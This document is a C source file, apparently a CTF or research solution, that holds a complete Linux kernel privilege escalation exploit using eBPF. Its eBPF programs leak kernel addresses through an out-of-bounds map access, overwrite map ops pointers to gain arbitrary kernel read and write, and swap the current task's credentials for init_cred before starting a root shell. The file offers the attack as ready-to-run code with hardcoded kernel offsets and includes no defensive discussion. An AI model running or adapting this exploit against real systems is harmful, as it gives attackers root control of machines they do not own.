1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307
| #include<stdio.h> #include<stdint.h> #include<string.h> #include<syscall.h> #include<unistd.h> #include<sys/socket.h> #include<linux/bpf.h> #include "bpf_insn.h" #include <stdlib.h>
#define ARRAY_MAP_OPS_OFFSET 0x10363a0 #define ARRAY_MAP_LOOKUP_ELEM_OFFSET 0x20e830 #define ARRAY_MAP_UPDATE_ELEM_OFFSET 0x20eeb0 #define PERCPU_OFFSET 0x149c900 #define current_task 0x17bc0 #define INIT_CRED_OFFSET 0x1a6b880 #define CRED_OFFSET 0xad8
int socks[2] = {-1}; int oob_map_fd, arb_read_write_map_fd, info_map_fd;
int bpf(int cmd,union bpf_attr *attr){ return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
int bpf_prog_load(union bpf_attr *attr){ return bpf(BPF_PROG_LOAD,attr); }
union bpf_attr* creat_bpf_prog(struct bpf_insn *insns,unsigned int insn_cnt){ union bpf_attr* attr=(union bpf_attr*)malloc(sizeof(union bpf_attr));
attr->prog_type=BPF_PROG_TYPE_SOCKET_FILTER; attr->insn_cnt=insn_cnt; attr->insns=(uint64_t)insns; attr->license=(uint64_t)""; return attr; }
int attach_socket(int prog_fd){ if(socks[0]==-1&&socketpair(AF_UNIX,SOCK_DGRAM,0,socks)<0){ perror("socketpair"); exit(1); } if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0){ perror("setsockopt"); exit(1); } }
void setup_bpf_prog(struct bpf_insn* insns,uint insncnt){ char log_buffer[0x4000];
union bpf_attr *prog=creat_bpf_prog(insns,insncnt);
prog->log_level=2; prog->log_buf=(uint64_t)log_buffer; prog->log_size=sizeof(log_buffer); strncpy(prog->prog_name, "stdnoerr", 16);
int prog_fd=bpf_prog_load(prog);
printf("%d\n", strlen(log_buffer)); puts(log_buffer);
if(prog_fd < 0){ perror("prog_load"); exit(1); }
attach_socket(prog_fd); }
void run_bpf_prog(struct bpf_insn *insns,uint insncnt){ int val=0; setup_bpf_prog(insns,insncnt); write(socks[1],&val,sizeof(val)); }
int bpf_map_create(uint32_t key_size,uint32_t value_size,uint32_t max_entries){ union bpf_attr attr={ .map_type = BPF_MAP_TYPE_ARRAY, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return bpf(BPF_MAP_CREATE,&attr); }
int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t* value, uint64_t flags){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t) &key, .value = (uint64_t) value, .flags = flags };
return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index){ uint64_t value[0x150/8] = {};
union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t) &key, .value = (uint64_t) &value, };
bpf(BPF_MAP_LOOKUP_ELEM, &attr); return value[index]; }
uint64_t arb_read(uint64_t addr){ int req=0; bpf_map_update_elem(arb_read_write_map_fd,0,&addr,BPF_ANY);
write(socks[1], &req, sizeof(req));
return bpf_map_lookup_elem(info_map_fd,0,0); }
int arb_write(uint64_t addr,uint64_t val){ int req=1;
bpf_map_update_elem(arb_read_write_map_fd,0,&addr,BPF_ANY); bpf_map_update_elem(info_map_fd, 0, &val, BPF_ANY);
write(socks[1], &req, sizeof(req));
return bpf_map_lookup_elem(info_map_fd, 0, 0) == val; }
int main(){ int idx=0; struct bpf_map_info map_info={};
oob_map_fd=bpf_map_create(4,0x150,1); arb_read_write_map_fd=bpf_map_create(4,8,1); info_map_fd=bpf_map_create(4,8,1);
if(oob_map_fd < 0){ perror("create_map"); return 1; }
struct bpf_insn kleak_prog[]={ BPF_MOV64_IMM(BPF_REG_0,0), BPF_STX_MEM(BPF_W,BPF_REG_10,BPF_REG_0,-4), BPF_MOV64_REG(BPF_REG_6, BPF_REG_1), BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), BPF_MOV64_IMM(BPF_REG_0,0x110), BPF_MOV64_IMM(BPF_REG_1,64), BPF_ALU64_REG(BPF_RSH,BPF_REG_0,BPF_REG_1), BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_0), BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0xc0), BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_7, 0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x50), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_9, 8),
BPF_EXIT_INSN() };
run_bpf_prog(kleak_prog, sizeof(kleak_prog)/sizeof(kleak_prog[0]));
uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0); uint64_t map_ptr = bpf_map_lookup_elem(oob_map_fd, 0, 1) - 0xc0; uint64_t map_ptr_values = map_ptr + 0x110; uint64_t kbase = array_map_ops - ARRAY_MAP_OPS_OFFSET; uint64_t __per_cpu_offset = kbase + PERCPU_OFFSET;
printf("array_map_ops: %p\nkbase: %p\nmap_ptr: %p\n", array_map_ops, kbase, map_ptr);
struct bpf_insn overwrite_ops[]={ BPF_MOV64_REG(BPF_REG_6,BPF_REG_1), BPF_MOV64_IMM(BPF_REG_0,0), BPF_STX_MEM(BPF_W,BPF_REG_10,BPF_REG_0,-4), BPF_MOV64_REG(BPF_REG_2,BPF_REG_10), BPF_ALU64_IMM(BPF_ADD,BPF_REG_2,-4), BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd), BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE,BPF_REG_0,0,1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7,BPF_REG_0), BPF_MOV64_IMM(BPF_REG_0,kbase+ARRAY_MAP_UPDATE_ELEM_OFFSET), BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x60),
BPF_MOV64_IMM(BPF_REG_0,kbase+ARRAY_MAP_LOOKUP_ELEM_OFFSET), BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x58),
BPF_MOV64_IMM(BPF_REG_0, kbase + 0x20e9c0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 19 * 8),
BPF_MOV64_IMM(BPF_REG_0, kbase + 0x20eff0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 3 * 8),
BPF_MOV64_REG(BPF_REG_2,BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), BPF_LD_MAP_FD(BPF_REG_1,arb_read_write_map_fd), BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_0,0x110), BPF_MOV64_IMM(BPF_REG_1,64), BPF_ALU64_REG(BPF_RSH,BPF_REG_0,BPF_REG_1), BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_0),
BPF_LD_IMM64(BPF_REG_0, map_ptr_values),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), BPF_EXIT_INSN(), }; run_bpf_prog(overwrite_ops, sizeof(overwrite_ops)/sizeof(overwrite_ops[0]));
printf("[+] overwrite ops done\n");
struct bpf_insn arb_read_write[] = { BPF_MOV64_REG(BPF_REG_6,BPF_REG_1), BPF_MOV64_IMM(BPF_REG_0,0), BPF_STX_MEM(BPF_W,BPF_REG_10,BPF_REG_0,-4), BPF_MOV64_REG(BPF_REG_2,BPF_REG_10), BPF_ALU64_IMM(BPF_ADD,BPF_REG_2,-4), BPF_LD_MAP_FD(BPF_REG_1, arb_read_write_map_fd), BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_LD_ABS(BPF_B, 0),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
BPF_MOV64_REG(BPF_REG_2,BPF_REG_10), BPF_ALU64_IMM(BPF_ADD,BPF_REG_2,-4), BPF_LD_MAP_FD(BPF_REG_1,info_map_fd), BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JEQ, BPF_REG_9, 1, 4), BPF_LDX_MEM(BPF_DW,BPF_REG_7,BPF_REG_8,0), BPF_STX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0),
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
}; setup_bpf_prog(arb_read_write, sizeof(arb_read_write)/sizeof(arb_read_write[0]));
uint64_t current_task_struct = arb_read(arb_read(__per_cpu_offset) + current_task); uint64_t init_cred = kbase + INIT_CRED_OFFSET;
arb_write(current_task_struct + CRED_OFFSET, init_cred);
system("/bin/sh"); return 0; }
|